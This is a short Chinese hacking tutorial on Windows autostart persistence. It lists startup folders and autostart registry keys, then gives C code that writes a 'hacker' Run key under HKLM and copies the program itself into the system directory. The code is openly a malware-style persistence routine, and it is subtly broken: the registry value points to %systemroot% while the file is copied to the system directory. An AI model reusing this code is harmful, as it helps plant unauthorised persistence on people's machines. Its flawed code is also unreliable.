黑客编程教程(七)程序从注册表自启动
第七节 程序从注册表自启动 先向大家介绍能让WINDOWS自动启动的2个文件和8个注册键 1: 当前用户专用的启动文件夹 将快捷方式放入WINDOWS的用户启动文件夹中. 路径:系统盘:\Document and Settings\<用户名称>\"开始"\程序\启动 2:所有用户的启动文件夹 路径:系统盘:\Document and Settings\ALL USER\"开始"\程序\启动 以下是注册键,均可以通过注册表直接搜索得到 3:LOAD注册键 4:USERINIT注册键 5:EXPLORER\RUN注册键 6:RUNSERVICESONCE注册键 7:RUNSERVICES注册键 8:RUNONCE\STEUP注册键 9:RUNONCE注册键 10:RUN注册键 下面介绍一下通过编程实现程序自启动 #include <stdio.h> #include <windows.h> int main(void) { char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; HKEY hkResult; int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult); //打开关键字 ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%\\hacker.exe",25); //设置键值 if(ret==0){ printf("success to write run key\n"); RegCloseKey(hkResult); } else { printf("failed to open regedit.%d\n",ret); return 0; } char modlepath[256]; char syspath[256]; GetModuleFileName(0,modlepath,256); //取得程序名字 GetSystemDirectory(syspath,256); ret=CopyFile(modlepath,strcat(syspath,"\\hacker.exe"),1); if(ret) { printf("%s has been copyed to sys dir %s\n",modlepath,syspath); } else printf("%s is exisis",modlepath); return 0; }